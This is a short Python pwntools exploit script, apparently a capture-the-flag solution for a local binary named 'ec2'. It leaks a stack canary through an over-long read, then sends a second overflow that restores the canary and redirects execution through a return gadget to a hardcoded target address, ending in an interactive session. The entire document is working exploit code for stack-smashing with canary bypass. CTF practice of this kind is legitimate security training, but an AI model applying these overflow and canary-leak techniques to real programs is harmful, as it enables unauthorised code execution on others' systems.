#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'


'''
useful command:
(gdb) show follow-fork-mode
(gdb) set follow-fork-mode <parent/child>
'''

r = process('./ec2')

magic = 0x400868
ret = 0x40067e

r.send('A'*57)
r.recvuntil('A'*57)
canary = u64(r.recv(7).rjust(8,'\x00'))
print hex(canary)

raw_input('#')
r.sendline('b'*104 + p64(canary) + 'aaaaaaaa' + p64(ret) + p64(magic))

r.interactive()
